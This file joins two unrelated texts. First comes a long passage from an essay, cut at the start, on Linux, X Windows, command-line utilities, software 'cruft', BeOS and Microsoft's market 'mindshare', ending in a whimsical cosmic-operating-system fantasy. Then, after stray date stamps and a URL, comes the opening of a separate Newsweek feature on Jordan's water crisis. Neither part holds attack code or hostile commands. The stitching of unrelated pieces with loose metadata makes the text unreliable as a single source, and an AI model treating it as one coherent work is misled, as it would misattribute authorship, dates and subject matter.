boot into the white-on-black teletype screen however, as a computational memento mori. It used to be fashionable for a writer to keep a human skull on his desk as a reminder that he was mortal, that all about him was vanity. The tty screen reminds me that the same thing is true of slick user interfaces. The X Windows System, which is the GUI of Unix, has to be capable of running on hundreds of different video cards with different chipsets, amounts of onboard memory, and motherboard buses. Likewise, there are hundreds of different types of monitors on the new and used market, each with different specifications, and so there are probably upwards of a million different possible combinations of card and monitor. The only thing they all have in common is that they all work in VGA mode, which is the old command-line screen that you see for a few seconds when you launch Windows. So Linux always starts in VGA, with a teletype interface, because at first it has no idea what sort of hardware is attached to your computer. In order to get beyond the glass teletype and into the GUI, you have to tell Linux exactly what kinds of hardware you have. If you get it wrong, you'll get a blank screen at best, and at worst you might actually destroy your monitor by feeding it signals it can't handle. When I started using Linux this had to be done by hand. I once spent the better part of a month trying to get an oddball monitor to work for me, and filled the better part of a composition book with increasingly desperate scrawled notes. Nowadays, most Linux distributions ship with a program that automatically scans the video card and self-configures the system, so getting X Windows up and running is nearly as easy as installing an Apple/Microsoft GUI. The crucial information goes into a file (an ASCII text file, naturally) called XF86Config, which is worth looking at even if your distribution creates it for you automatically. For most people it looks like meaningless cryptic incantations, which is the whole point of looking at it. An Apple/Microsoft system needs to have the same information in order to launch its GUI, but it's apt to be deeply hidden somewhere, and it's probably in a file that can't even be opened and read by a text editor. All of the important files that make Linux systems work are right out in the open. They are always ASCII text files, so you don't need special tools to read them. You can look at them any time you want, which is good, and you can mess them up and render your system totally dysfunctional, which is not so good. At any rate, assuming that my XF86Config file is just so, I enter the command "startx" to launch the X Windows System. The screen blanks out for a minute, the monitor makes strange twitching noises, then reconstitutes itself as a blank gray desktop with a mouse cursor in the middle. At the same time it is launching a window manager. X Windows is pretty low-level software; it provides the infrastructure for a GUI, and it's a heavy industrial infrastructure. But it doesn't do windows. That's handled by another category of application that sits atop X Windows, called a window manager. Several of these are available, all free of course. The classic is twm (Tom's Window Manager) but there is a smaller and supposedly more efficient variant of it called fvwm, which is what I use. I have my eye on a completely different window manager called Enlightenment, which may be the hippest single technology product I have ever seen, in that (a) it is for Linux, (b) it is freeware, (c) it is being developed by a very small number of obsessed hackers, and (d) it looks amazingly cool; it is the sort of window manager that might show up in the backdrop of an Aliens movie. Anyway, the window manager acts as an intermediary between X Windows and whatever software you want to use. It draws the window frames, menus, and so on, while the applications themselves draw the actual content in the windows. The applications might be of any sort: text editors, Web browsers, graphics packages, or utility programs, such as a clock or calculator. In other words, from this point on, you feel as if you have been shunted into a parallel universe that is quite similar to the familiar Apple or Microsoft one, but slightly and pervasively different. The premier graphics program under Apple/Microsoft is Adobe Photoshop, but under Linux it's something called The GIMP. Instead of the Microsoft Office Suite, you can buy something called ApplixWare. Many commercial software packages, such as Mathematica, Netscape Communicator, and Adobe Acrobat, are available in Linux versions, and depending on how you set up your window manager you can make them look and behave just as they would under MacOS or Windows. But there is one type of window you'll see on Linux GUI that is rare or nonexistent under other OSes. These windows are called "xterm" and contain nothing but lines of text--this time, black text on a white background, though you can make them be different colors if you choose. Each xterm window is a separate command line interface--a tty in a window. So even when you are in full GUI mode, you can still talk to your Linux machine through a command-line interface. There are many good pieces of Unix software that do not have GUIs at all. This might be because they were developed before X Windows was available, or because the people who wrote them did not want to suffer through all the hassle of creating a GUI, or because they simply do not need one. In any event, those programs can be invoked by typing their names into the command line of an xterm window. The whoami command, mentioned earlier, is a good example. There is another called wc ("word count") which simply returns the number of lines, words, and characters in a text file. The ability to run these little utility programs on the command line is a great virtue of Unix, and one that is unlikely to be duplicated by pure GUI operating systems. The wc command, for example, is the sort of thing that is easy to write with a command line interface. It probably does not consist of more than a few lines of code, and a clever programmer could probably write it in a single line. In compiled form it takes up just a few bytes of disk space. But the code required to give the same program a graphical user interface would probably run into hundreds or even thousands of lines, depending on how fancy the programmer wanted to make it. Compiled into a runnable piece of software, it would have a large overhead of GUI code. It would be slow to launch and it would use up a lot of memory. This would simply not be worth the effort, and so "wc" would never be written as an independent program at all. Instead users would have to wait for a word count feature to appear in a commercial software package. GUIs tend to impose a large overhead on every single piece of software, even the smallest, and this overhead completely changes the programming environment. Small utility programs are no longer worth writing. Their functions, instead, tend to get swallowed up into omnibus software packages. As GUIs get more complex, and impose more and more overhead, this tendency becomes more pervasive, and the software packages grow ever more colossal; after a point they begin to merge with each other, as Microsoft Word and Excel and PowerPoint have merged into Microsoft Office: a stupendous software Wal-Mart sitting on the edge of a town filled with tiny shops that are all boarded up. It is an unfair analogy, because when a tiny shop gets boarded up it means that some small shopkeeper has lost his business. Of course nothing of the kind happens when "wc" becomes subsumed into one of Microsoft Word's countless menu items. The only real drawback is a loss of flexibility for the user, but it is a loss that most customers obviously do not notice or care about. The most serious drawback to the Wal-Mart approach is that most users only want or need a tiny fraction of what is contained in these giant software packages. The remainder is clutter, dead weight. And yet the user in the next cubicle over will have completely different opinions as to what is useful and what isn't. The other important thing to mention, here, is that Microsoft has included a genuinely cool feature in the Office package: a Basic programming package. Basic is the first computer language that I learned, back when I was using the paper tape and the teletype. By using the version of Basic that comes with Office you can write your own little utility programs that know how to interact with all of the little doohickeys, gewgaws, bells, and whistles in Office. Basic is easier to use than the languages typically employed in Unix command-line programming, and Office has reached many, many more people than the GNU tools. And so it is quite possible that this feature of Office will, in the end, spawn more hacking than GNU. But now I'm talking about application software, not operating systems. And as I've said, Microsoft's application software tends to be very good stuff. I don't use it very much, because I am nowhere near their target market. If Microsoft ever makes a software package that I use and like, then it really will be time to dump their stock, because I am a market segment of one. GEEK FATIGUE Over the years that I've been working with Linux I have filled three and a half notebooks logging my experiences. I only begin writing things down when I'm doing something complicated, like setting up X Windows or fooling around with my Internet connection, and so these notebooks contain only the record of my struggles and frustrations. When things are going well for me, I'll work along happily for many months without jotting down a single note. So these notebooks make for pretty bleak reading. Changing anything under Linux is a matter of opening up various of those little ASCII text files and changing a word here and a character there, in ways that are extremely significant to how the system operates. Many of the files that control how Linux operates are nothing more than command lines that became so long and complicated that not even Linux hackers could type them correctly. When working with something as powerful as Linux, you can easily devote a full half-hour to engineering a single command line. For example, the "find" command, which searches your file system for files that match certain criteria, is fantastically powerful and general. Its "man" is eleven pages long, and these are pithy pages; you could easily expand them into a whole book. And if that is not complicated enough in and of itself, you can always pipe the output of one Unix command to the input of another, equally complicated one. The "pon" command, which is used to fire up a PPP connection to the Internet, requires so much detailed information that it is basically impossible to launch it entirely from the command line. Instead you abstract big chunks of its input into three or four different files. You need a dialing script, which is effectively a little program telling it how to dial the phone and respond to various events; an options file, which lists up to about sixty different options on how the PPP connection is to be set up; and a secrets file, giving information about your password. Presumably there are godlike Unix hackers somewhere in the world who don't need to use these little scripts and options files as crutches, and who can simply pound out fantastically complex command lines without making typographical errors and without having to spend hours flipping through documentation. But I'm not one of them. Like almost all Linux users, I depend on having all of those details hidden away in thousands of little ASCII text files, which are in turn wedged into the recesses of the Unix filesystem. When I want to change something about the way my system works, I edit those files. I know that if I don't keep track of every little change I've made, I won't be able to get your system back in working order after I've gotten it all messed up. Keeping hand-written logs is tedious, not to mention kind of anachronistic. But it's necessary. I probably could have saved myself a lot of headaches by doing business with a company called Cygnus Support, which exists to provide assistance to users of free software. But I didn't, because I wanted to see if I could do it myself. The answer turned out to be yes, but just barely. And there are many tweaks and optimizations that I could probably make in my system that I have never gotten around to attempting, partly because I get tired of being a Morlock some days, and partly because I am afraid of fouling up a system that generally works well. Though Linux works for me and many other users, its sheer power and generality is its Achilles' heel. If you know what you are doing, you can buy a cheap PC from any computer store, throw away the Windows discs that come with it, turn it into a Linux system of mind-boggling complexity and power. You can hook it up to twelve other Linux boxes and make it into part of a parallel computer. You can configure it so that a hundred different people can be logged onto it at once over the Internet, via as many modem lines, Ethernet cards, TCP/IP sockets, and packet radio links. You can hang half a dozen different monitors off of it and play DOOM with someone in Australia while tracking communications satellites in orbit and controlling your house's lights and thermostats and streaming live video from your web-cam and surfing the Net and designing circuit boards on the other screens. But the sheer power and complexity of the system--the qualities that make it so vastly technically superior to other OSes--sometimes make it seem too formidable for routine day-to-day use. Sometimes, in other words, I just want to go to Disneyland. The ideal OS for me would be one that had a well-designed GUI that was easy to set up and use, but that included terminal windows where I could revert to the command line interface, and run GNU software, when it made sense. A few years ago, Be Inc. invented exactly that OS. It is called the BeOS. ETRE Many people in the computer business have had a difficult time grappling with Be, Incorporated, for the simple reason that nothing about it seems to make any sense whatsoever. It was launched in late 1990, which makes it roughly contemporary with Linux. From the beginning it has been devoted to creating a new operating system that is, by design, incompatible with all the others (though, as we shall see, it is compatible with Unix in some very important ways). If a definition of "celebrity" is someone who is famous for being famous, then Be is an anti-celebrity. It is famous for not being famous; it is famous for being doomed. But it has been doomed for an awfully long time. Be's mission might make more sense to hackers than to other people. In order to explain why I need to explain the concept of cruft, which, to people who write code, is nearly as abhorrent as unnecessary repetition. If you've been to San Francisco you may have seen older buildings that have undergone "seismic upgrades," which frequently means that grotesque superstructures of modern steelwork are erected around buildings made in, say, a Classical style. When new threats arrive--if we have an Ice Age, for example--additional layers of even more high-tech stuff may be constructed, in turn, around these, until the original building is like a holy relic in a cathedral--a shard of yellowed bone enshrined in half a ton of fancy protective junk. Analogous measures can be taken to keep creaky old operating systems working. It happens all the time. Ditching an worn-out old OS ought to be simplified by the fact that, unlike old buildings, OSes have no aesthetic or cultural merit that makes them intrinsically worth saving. But it doesn't work that way in practice. If you work with a computer, you have probably customized your "desktop," the environment in which you sit down to work every day, and spent a lot of money on software that works in that environment, and devoted much time to familiarizing yourself with how it all works. This takes a lot of time, and time is money. As already mentioned, the desire to have one's interactions with complex technologies simplified through the interface, and to surround yourself with virtual tchotchkes and lawn ornaments, is natural and pervasive--presumably a reaction against the complexity and formidable abstraction of the computer world. Computers give us more choices than we really want. We prefer to make those choices once, or accept the defaults handed to us by software companies, and let sleeping dogs lie. But when an OS gets changed, all the dogs jump up and start barking. The average computer user is a technological antiquarian who doesn't really like things to change. He or she is like an urban professional who has just bought a charming fixer-upper and is now moving the furniture and knicknacks around, and reorganizing the kitchen cupboards, so that everything's just right. If it is necessary for a bunch of engineers to scurry around in the basement shoring up the foundation so that it can support the new cast-iron claw-foot bathtub, and snaking new wires and pipes through the walls to supply modern appliances, why, so be it--engineers are cheap, at least when millions of OS users split the cost of their services. Likewise, computer users want to have the latest Pentium in their machines, and to be able to surf the web, without messing up all the stuff that makes them feel as if they know what the hell is going on. Sometimes this is actually possible. Adding more RAM to your system is a good example of an upgrade that is not likely to screw anything up. Alas, very few upgrades are this clean and simple. Lawrence Lessig, the whilom Special Master in the Justice Department's antitrust suit against Microsoft, complained that he had installed Internet Explorer on his computer, and in so doing, lost all of his bookmarks--his personal list of signposts that he used to navigate through the maze of the Internet. It was as if he'd bought a new set of tires for his car, and then, when pulling away from the garage, discovered that, owing to some inscrutable side-effect, every signpost and road map in the world had been destroyed. If he's like most of us, he had put a lot of work into compiling that list of bookmarks. This is only a small taste of the sort of trouble that upgrades can cause. Crappy old OSes have value in the basically negative sense that changing to new ones makes us wish we'd never been born. All of the fixing and patching that engineers must do in order to give us the benefits of new technology without forcing us to think about it, or to change our ways, produces a lot of code that, over time, turns into a giant clot of bubble gum, spackle, baling wire and duct tape surrounding every operating system. In the jargon of hackers, it is called "cruft." An operating system that has many, many layers of it is described as "crufty." Hackers hate to do things twice, but when they see something crufty, their first impulse is to rip it out, throw it away, and start anew. If Mark Twain were brought back to San Francisco today and dropped into one of these old seismically upgraded buildings, it would look just the same to him, with all the doors and windows in the same places--but if he stepped outside, he wouldn't recognize it. And--if he'd been brought back with his wits intact--he might question whether the building had been worth going to so much trouble to save. At some point, one must ask the question: is this really worth it, or should we maybe just tear it down and put up a good one? Should we throw another human wave of structural engineers at stabilizing the Leaning Tower of Pisa, or should we just let the damn thing fall over and build a tower that doesn't suck? Like an upgrade to an old building, cruft always seems like a good idea when the first layers of it go on--just routine maintenance, sound prudent management. This is especially true if (as it were) you never look into the cellar, or behind the drywall. But if you are a hacker who spends all his time looking at it from that point of view, cruft is fundamentally disgusting, and you can't avoid wanting to go after it with a crowbar. Or, better yet, simply walk out of the building--let the Leaning Tower of Pisa fall over--and go make a new one THAT DOESN'T LEAN. For a long time it was obvious to Apple, Microsoft, and their customers that the first generation of GUI operating systems was doomed, and that they would eventually need to be ditched and replaced with completely fresh ones. During the late Eighties and early Nineties, Apple launched a few abortive efforts to make fundamentally new post-Mac OSes such as Pink and Taligent. When those efforts failed they launched a new project called Copland which also failed. In 1997 they flirted with the idea of acquiring Be, but instead they acquired Next, which has an OS called NextStep that is, in effect, a variant of Unix. As these efforts went on, and on, and on, and failed and failed and failed, Apple's engineers, who were among the best in the business, kept layering on the cruft. They were gamely trying to turn the little toaster into a multi-tasking, Internet-savvy machine, and did an amazingly good job of it for a while--sort of like a movie hero running across a jungle river by hopping across crocodiles' backs. But in the real world you eventually run out of crocodiles, or step on a really smart one. Speaking of which, Microsoft tackled the same problem in a considerably more orderly way by creating a new OS called Windows NT, which is explicitly intended to be a direct competitor of Unix. NT stands for "New Technology" which might be read as an explicit rejection of cruft. And indeed, NT is reputed to be a lot less crufty than what MacOS eventually turned into; at one point the documentation needed to write code on the Mac filled something like 24 binders. Windows 95 was, and Windows 98 is, crufty because they have to be backward-compatible with older Microsoft OSes. Linux deals with the cruft problem in the same way that Eskimos supposedly dealt with senior citizens: if you insist on using old versions of Linux software, you will sooner or later find yourself drifting through the Bering Straits on a dwindling ice floe. They can get away with this because most of the software is free, so it costs nothing to download up-to-date versions, and because most Linux users are Morlocks. The great idea behind BeOS was to start from a clean sheet of paper and design an OS the right way. And that is exactly what they did. This was obviously a good idea from an aesthetic standpoint, but does not a sound business plan make. Some people I know in the GNU/Linux world are annoyed with Be for going off on this quixotic adventure when their formidable skills could have been put to work helping to promulgate Linux. Indeed, none of it makes sense until you remember that the founder of the company, Jean-Louis Gassee, is from France--a country that for many years maintained its own separate and independent version of the English monarchy at a court in St. Germaines, complete with courtiers, coronation ceremonies, a state religion and a foreign policy. Now, the same annoying yet admirable stiff-neckedness that gave us the Jacobites, the force de frappe, Airbus, and ARRET signs in Quebec, has brought us a really cool operating system. I fart in your general direction, Anglo-Saxon pig-dogs! To create an entirely new OS from scratch, just because none of the existing ones was exactly right, struck me as an act of such colossal nerve that I felt compelled to support it. I bought a BeBox as soon as I could. The BeBox was a dual-processor machine, powered by Motorola chips, made specifically to run the BeOS; it could not run any other operating system. That's why I bought it. I felt it was a way to burn my bridges. Its most distinctive feature is two columns of LEDs on the front panel that zip up and down like tachometers to convey a sense of how hard each processor is working. I thought it looked cool, and besides, I reckoned that when the company went out of business in a few months, my BeBox would be a valuable collector's item. Now it is about two years later and I am typing this on my BeBox. The LEDs (Das Blinkenlights, as they are called in the Be community) flash merrily next to my right elbow as I hit the keys. Be, Inc. is still in business, though they stopped making BeBoxes almost immediately after I bought mine. They made the sad, but probably quite wise decision that hardware was a sucker's game, and ported the BeOS to Macintoshes and Mac clones. Since these used the same sort of Motorola chips that powered the BeBox, this wasn't especially hard. Very soon afterwards, Apple strangled the Mac-clone makers and restored its hardware monopoly. So, for a while, the only new machines that could run BeOS were made by Apple. By this point Be, like Spiderman with his Spider-sense, had developed a keen sense of when they were about to get crushed like a bug. Even if they hadn't, the notion of being dependent on Apple--so frail and yet so vicious--for their continued existence should have put a fright into anyone. Now engaged in their own crocodile-hopping adventure, they ported the BeOS to Intel chips--the same chips used in Windows machines. And not a moment too soon, for when Apple came out with its new top-of-the-line hardware, based on the Motorola G3 chip, they withheld the technical data that Be's engineers would need to make the BeOS run on those machines. This would have killed Be, just like a slug between the eyes, if they hadn't made the jump to Intel. So now BeOS runs on an assortment of hardware that is almost incredibly motley: BeBoxes, aging Macs and Mac orphan-clones, and Intel machines that are intended to be used for Windows. Of course the latter type are ubiquitous and shockingly cheap nowadays, so it would appear that Be's hardware troubles are finally over. Some German hackers have even come up with a Das Blinkenlights replacement: it's a circuit board kit that you can plug into PC-compatible machines running BeOS. It gives you the zooming LED tachometers that were such a popular feature of the BeBox. My BeBox is already showing its age, as all computers do after a couple of years, and sooner or later I'll probably have to replace it with an Intel machine. Even after that, though, I will still be able to use it. Because, inevitably, someone has now ported Linux to the BeBox. At any rate, BeOS has an extremely well-thought-out GUI built on a technological framework that is solid. It is based from the ground up on modern object-oriented software principles. BeOS software consists of quasi-independent software entities called objects, which communicate by sending messages to each other. The OS itself is made up of such objects, and serves as a kind of post office or Internet that routes messages to and fro, from object to object. The OS is multi-threaded, which means that like all other modern OSes it can walk and chew gum at the same time; but it gives programmers a lot of power over spawning and terminating threads, or independent sub-processes. It is also a multi-processing OS, which means that it is inherently good at running on computers that have more than one CPU (Linux and Windows NT can also do this proficiently). For this user, a big selling point of BeOS is the built-in Terminal application, which enables you to open up windows that are equivalent to the xterm windows in Linux. In other words, the command line interface is available if you want it. And because BeOS hews to a certain standard called POSIX, it is capable of running most of the GNU software. That is to say that the vast array of command-line software developed by the GNU crowd will work in BeOS terminal windows without complaint. This includes the GNU development tools-the compiler and linker. And it includes all of the handy little utility programs. I'm writing this using a modern sort of user-friendly text editor called Pe, written by a Dutchman named Maarten Hekkelman, but when I want to find out how long it is, I jump to a terminal window and run "wc." As is suggested by the sample bug report I quoted earlier, people who work for Be, and developers who write code for BeOS, seem to be enjoying themselves more than their counterparts in other OSes. They also seem to be a more diverse lot in general. A couple of years ago I went to an auditorium at a local university to see some representatives of Be put on a dog-and-pony show. I went because I assumed that the place would be empty and echoing, and I felt that they deserved an audience of at least one. In fact, I ended up standing in an aisle, for hundreds of students had packed the place. It was like a rock concert. One of the two Be engineers on the stage was a black man, which unfortunately is a very odd thing in the high-tech world. The other made a ringing denunciation of cruft, and extolled BeOS for its cruft-free qualities, and actually came out and said that in ten or fifteen years, when BeOS had become all crufty like MacOS and Windows 95, it would be time to simply throw it away and create a new OS from scratch. I doubt that this is an official Be, Inc. policy, but it sure made a big impression on everyone in the room! During the late Eighties, the MacOS was, for a time, the OS of cool people-artists and creative-minded hackers-and BeOS seems to have the potential to attract the same crowd now. Be mailing lists are crowded with hackers with names like Vladimir and Olaf and Pierre, sending flames to each other in fractured techno-English. The only real question about BeOS is whether or not it is doomed. Of late, Be has responded to the tiresome accusation that they are doomed with the assertion that BeOS is "a media operating system" made for media content creators, and hence is not really in competition with Windows at all. This is a little bit disingenuous. To go back to the car dealership analogy, it is like the Batmobile dealer claiming that he is not really in competition with the others because his car can go three times as fast as theirs and is also capable of flying. Be has an office in Paris, and, as mentioned, the conversation on Be mailing lists has a strongly European flavor. At the same time they have made strenuous efforts to find a niche in Japan, and Hitachi has recently begun bundling BeOS with their PCs. So if I had to make wild guess I'd say that they are playing Go while Microsoft is playing chess. They are staying clear, for now, of Microsoft's overwhelmingly strong position in North America. They are trying to get themselves established around the edges of the board, as it were, in Europe and Japan, where people may be more open to alternative OSes, or at least more hostile to Microsoft, than they are in the United States. What holds Be back in this country is that the smart people are afraid to look like suckers. You run the risk of looking naive when you say "I've tried the BeOS and here's what I think of it." It seems much more sophisticated to say "Be's chances of carving out a new niche in the highly competitive OS market are close to nil." It is, in techno-speak, a problem of mindshare. And in the OS business, mindshare is more than just a PR issue; it has direct effects on the technology itself. All of the peripheral gizmos that can be hung off of a personal computer--the printers, scanners, PalmPilot interfaces, and Lego Mindstorms--require pieces of software called drivers. Likewise, video cards and (to a lesser extent) monitors need drivers. Even the different types of motherboards on the market relate to the OS in different ways, and separate code is required for each one. All of this hardware-specific code must not only written but also tested, debugged, upgraded, maintained, and supported. Because the hardware market has become so vast and complicated, what really determines an OS's fate is not how good the OS is technically, or how much it costs, but rather the availability of hardware-specific code. Linux hackers have to write that code themselves, and they have done an amazingly good job of keeping up to speed. Be, Inc. has to write all their own drivers, though as BeOS has begun gathering momentum, third-party developers have begun to contribute drivers, which are available on Be's web site. But Microsoft owns the high ground at the moment, because it doesn't have to write its own drivers. Any hardware maker bringing a new video card or peripheral device to market today knows that it will be unsalable unless it comes with the hardware-specific code that will make it work under Windows, and so each hardware maker has accepted the burden of creating and maintaining its own library of drivers. MINDSHARE The U.S. Government's assertion that Microsoft has a monopoly in the OS market might be the most patently absurd claim ever advanced by the legal mind. Linux, a technically superior operating system, is being given away for free, and BeOS is available at a nominal price. This is simply a fact, which has to be accepted whether or not you like Microsoft. Microsoft is really big and rich, and if some of the government's witnesses are to be believed, they are not nice guys. But the accusation of a monopoly simply does not make any sense. What is really going on is that Microsoft has seized, for the time being, a certain type of high ground: they dominate in the competition for mindshare, and so any hardware or software maker who wants to be taken seriously feels compelled to make a product that is compatible with their operating systems. Since Windows-compatible drivers get written by the hardware makers, Microsoft doesn't have to write them; in effect, the hardware makers are adding new components to Windows, making it a more capable OS, without charging Microsoft for the service. It is a very good position to be in. The only way to fight such an opponent is to have an army of highly competetent coders who write equivalent drivers for free, which Linux does. But possession of this psychological high ground is different from a monopoly in any normal sense of that word, because here the dominance has nothing to do with technical performance or price. The old robber-baron monopolies were monopolies because they physically controlled means of production and/or distribution. But in the software business, the means of production is hackers typing code, and the means of distribution is the Internet, and no one is claiming that Microsoft controls those. Here, instead, the dominance is inside the minds of people who buy software. Microsoft has power because people believe it does. This power is very real. It makes lots of money. Judging from recent legal proceedings in both Washingtons, it would appear that this power and this money have inspired some very peculiar executives to come out and work for Microsoft, and that Bill Gates should have administered saliva tests to some of them before issuing them Microsoft ID cards. But this is not the sort of power that fits any normal definition of the word "monopoly," and it's not amenable to a legal fix. The courts may order Microsoft to do things differently. They might even split the company up. But they can't really do anything about a mindshare monopoly, short of taking every man, woman, and child in the developed world and subjecting them to a lengthy brainwashing procedure. Mindshare dominance is, in other words, a really odd sort of beast, something that the framers of our antitrust laws couldn't possibly have imagined. It looks like one of these modern, wacky chaos-theory phenomena, a complexity thing, in which a whole lot of independent but connected entities (the world's computer users), making decisions on their own, according to a few simple rules of thumb, generate a large phenomenon (total domination of the market by one company) that cannot be made sense of through any kind of rational analysis. Such phenomena are fraught with concealed tipping-points and all a-tangle with bizarre feedback loops, and cannot be understood; people who try, end up (a) going crazy, (b) giving up, (c) forming crackpot theories, or (d) becoming high-paid chaos theory consultants. Now, there might be one or two people at Microsoft who are dense enough to believe that mindshare dominance is some kind of stable and enduring position. Maybe that even accounts for some of the weirdos they've hired in the pure-business end of the operation, the zealots who keep getting hauled into court by enraged judges. But most of them must have the wit to understand that phenomena like these are maddeningly unstable, and that there's no telling what weird, seemingly inconsequential event might cause the system to shift into a radically different configuration. To put it another way, Microsoft can be confident that Thomas Penfield Jackson will not hand down an order that the brains of everyone in the developed world are to be summarily re-programmed. But there's no way to predict when people will decide, en masse, to re-program their own brains. This might explain some of Microsoft's behavior, such as their policy of keeping eerily large reserves of cash sitting around, and the extreme anxiety that they display whenever something like Java comes along. I have never seen the inside of the building at Microsoft where the top executives hang out, but I have this fantasy that in the hallways, at regular intervals, big red alarm boxes are bolted to the wall. Each contains a large red button protected by a windowpane. A metal hammer dangles on a chain next to it. Above is a big sign reading: IN THE EVENT OF A CRASH IN MARKET SHARE, BREAK GLASS. What happens when someone shatters the glass and hits the button, I don't know, but it sure would be interesting to find out. One imagines banks collapsing all over the world as Microsoft withdraws its cash reserves, and shrink-wrapped pallet-loads of hundred-dollar bills dropping from the skies. No doubt, Microsoft has a plan. But what I would really like to know is whether, at some level, their programmers might heave a big sigh of relief if the burden of writing the One Universal Interface to Everything were suddenly lifted from their shoulders. THE RIGHT PINKY OF GOD In his book The Life of the Cosmos, which everyone should read, Lee Smolin gives the best description I've ever read of how our universe emerged from an uncannily precise balancing of different fundamental constants. The mass of the proton, the strength of gravity, the range of the weak nuclear force, and a few dozen other fundamental constants completely determine what sort of universe will emerge from a Big Bang. If these values had been even slightly different, the universe would have been a vast ocean of tepid gas or a hot knot of plasma or some other basically uninteresting thing--a dud, in other words. The only way to get a universe that's not a dud--that has stars, heavy elements, planets, and life--is to get the basic numbers just right. If there were some machine, somewhere, that could spit out universes with randomly chosen values for their fundamental constants, then for every universe like ours it would produce 10^229 duds. Though I haven't sat down and run the numbers on it, to me this seems comparable to the probability of making a Unix computer do something useful by logging into a tty and typing in command lines when you have forgotten all of the little options and keywords. Every time your right pinky slams that ENTER key, you are making another try. In some cases the operating system does nothing. In other cases it wipes out all of your files. In most cases it just gives you an error message. In other words, you get many duds. But sometimes, if you have it all just right, the computer grinds away for a while and then produces something like emacs. It actually generates complexity, which is Smolin's criterion for interestingness. Not only that, but it's beginning to look as if, once you get below a certain size--way below the level of quarks, down into the realm of string theory--the universe can't be described very well by physics as it has been practiced since the days of Newton. If you look at a small enough scale, you see processes that look almost computational in nature. I think that the message is very clear here: somewhere outside of and beyond our universe is an operating system, coded up over incalculable spans of time by some kind of hacker-demiurge. The cosmic operating system uses a command-line interface. It runs on something like a teletype, with lots of noise and heat; punched-out bits flutter down into its hopper like drifting stars. The demiurge sits at his teletype, pounding out one command line after another, specifying the values of fundamental constants of physics: universe -G 6.672e-11 -e 1.602e-19 -h 6.626e-34 -protonmass 1.673e-27.... and when he's finished typing out the command line, his right pinky hesitates above the ENTER key for an aeon or two, wondering what's going to happen; then down it comes--and the WHACK you hear is another Big Bang. Now THAT is a cool operating system, and if such a thing were actually made available on the Internet (for free, of course) every hacker in the world would download it right away and then stay up all night long messing with it, spitting out universes right and left. Most of them would be pretty dull universes but some of them would be simply amazing. Because what those hackers would be aiming for would be much more ambitious than a universe that had a few stars and galaxies in it. Any run-of-the-mill hacker would be able to do that. No, the way to gain a towering reputation on the Internet would be to get so good at tweaking your command line that your universes would spontaneously develop life. And once the way to do that became common knowledge, those hackers would move on, trying to make their universes develop the right kind of life, trying to find the one change in the Nth decimal place of some physical constant that would give us an Earth in which, say, Hitler had been accepted into art school after all, and had ended up his days as a street artist with cranky political opinions. Even if that fantasy came true, though, most users (including myself, on certain days) wouldn't want to bother learning to use all of those arcane commands, and struggling with all of the failures; a few dud universes can really clutter up your basement. After we'd spent a while pounding out command lines and hitting that ENTER key and spawning dull, failed universes, we would start to long for an OS that would go all the way to the opposite extreme: an OS that had the power to do everything--to live our life for us. In this OS, all of the possible decisions we could ever want to make would have been anticipated by clever programmers, and condensed into a series of dialog boxes. By clicking on radio buttons we could choose from among mutually exclusive choices (HETEROSEXUAL/HOMOSEXUAL). Columns of check boxes would enable us to select the things that we wanted in our life (GET MARRIED/WRITE GREAT AMERICAN NOVEL) and for more complicated options we could fill in little text boxes (NUMBER OF DAUGHTERS: NUMBER OF SONS:). Even this user interface would begin to look awfully complicated after a while, with so many choices, and so many hidden interactions between choices. It could become damn near unmanageable--the blinking twelve problem all over again. The people who brought us this operating system would have to provide templates and wizards, giving us a few default lives that we could use as starting places for designing our own. Chances are that these default lives would actually look pretty damn good to most people, good enough, anyway, that they'd be reluctant to tear them open and mess around with them for fear of making them worse. So after a few releases the software would begin to look even simpler: you would boot it up and it would present you with a dialog box with a single large button in the middle labeled: LIVE. Once you had clicked that button, your life would begin. If anything got out of whack, or failed to meet your expectations, you could complain about it to Microsoft's Customer Support Department. If you got a flack on the line, he or she would tell you that your life was actually fine, that there was not a thing wrong with it, and in any event it would be a lot better after the next upgrade was rolled out. But if you persisted, and identified yourself as Advanced, you might get through to an actual engineer. What would the engineer say, after you had explained your problem, and enumerated all of the dissatisfactions in your life? He would probably tell you that life is a very hard and complicated thing; that no interface can change that; that anyone who believes otherwise is a sucker; and that if you don't like having choices made for you, you should start making your own.

2024-10-12 00:00:00

1998-02-01 00:00:00

http://www.newsweek.com/2017/12/01/what-happens-world-without-water-jordan-crisis-717365.html

What Will Happen If the World No Longer Has Water?

Peter Schwartzstein

Summer is always scorching in Amman, Jordan, but last July was particularly brutal for Tarek el-Qaisi, a mechanic who lives with his family in the eastern part of the city. A gang of thieves tapped into the power lines across from his home, and the electricity provider cut off the entire street for a fortnight. With no fans or fridges, the treeless, concrete neighborhood felt like a blast furnace. The next day, a nearby sewage pit backed up, enveloping his apartment with a sickening stench. The flies loved it, but all three of el-Qaisi's school-age children got sick. By the time his boss lowered his salary, citing slow business, the young mechanic thought nothing could faze him. "It's hell," he says, "but it's not like we have a choice." The sudden loss of his water supply, however, has left him nearly hopeless. With no municipal water access, el-Qaisi and his neighbors have always had to rely on private tanks to service their cisterns. But recent construction at the foot of the hill on which they live has severed that lifeline. The whale-size trucks can no longer get close, so residents are now dependent on what they can carry up the steep, uneven roads. Unable to properly wash their clothes or even clean dishes, they're slowly reconciling themselves to a world with almost no water. "I come home dirty and sometimes can't wash," says el-Qaisi, his arms and face flecked with sweat and motor oil. "It's humiliating. No one should have to live like this." #### Supply and Demand Without drastic action, many Jordanians may share his plight. The Jordan River, the country's lone waterway, is dirty and depleted, while some of its aquifers have been pumped almost beyond repair. The nation's annual rainfall is set to slide dramatically due to climate change, even as its population continues to swell. Jordan is too poor to turn to costly, large-scale desalination—or fix its leaky infrastructure. And the country's population growth shows few signs of slowing, so it can't fall back on water imports, as some lightly populated Pacific and Caribbean island nations have done. Water shortages have gotten so bad, they've already sparked clashes between refugees and native Jordanians, and the officials charged with catering to booming demand with a shrinking supply are beginning to panic. "We have to look outside Jordan," says Ali Subah, secretary-general for strategic planning at the Ministry of Water and Irrigation. "There are no more water resources here." Jordan could be the first country to run out of water, but it likely wouldn't be the last. Globally, water demand is forecast to rise by roughly 50 percent by 2050. And the situation is dire on the supply side too: 21 out of the world's 37 biggest aquifers are already moving past their tipping points, according to NASA, in part due to over-extraction for drinking water and mining. Meanwhile, global warming appears to be reducing rainfall in some places. Two out of every three people will face water shortages by 2025, the World Meteorological Organization says, and hundreds of millions more might grapple with dangerously poor water quality. Overwhelmed by the challenge of supplying their swelling populations with often shoddy infrastructure, many of the planet's megacities are particularly at risk. Four billion people currently live in urban areas, a total that's expected to almost double by the middle of the century. 